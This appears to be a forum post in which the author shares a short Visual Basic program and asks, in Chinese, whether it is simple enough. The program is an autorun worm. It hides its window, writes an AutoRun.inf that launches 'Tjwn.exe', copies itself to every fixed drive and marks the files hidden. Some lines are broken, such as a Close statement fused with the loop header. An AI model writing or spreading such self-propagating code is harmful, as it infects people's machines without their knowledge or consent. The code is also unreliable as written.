Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Sub main()
Dim MyDrive As String
App.TaskVisible = False
On Error Resume Next
Open App.Path & "\AutoRun.inf" For Output As #1
Print #1, "[AuToRuN]"
Print #1, "OPEN=Tjwn.exe"
Print #1, "shell\open=打开(&O)"
Print #1, "shelL\open\ComMand=Tjwn.exe"
Close #1 For i = 0 To 25
MyDrive = Chr(i + 67) & ":\"
If GetDriveType(MyDrive) = 3 Then
FileCopy "Tjwn.exe", MyDrive & "Tjwn.exe"
FileCopy "AutoRun.inf", MyDrive & "AutoRun.inf"
SetAttr MyDrive & "\Tjwn.exe", vbHidden
SetAttr MyDrive & "\AutoRun.inf", vbHidden
End If
Next i
End Sub
你看我这个怎么样,简单吧!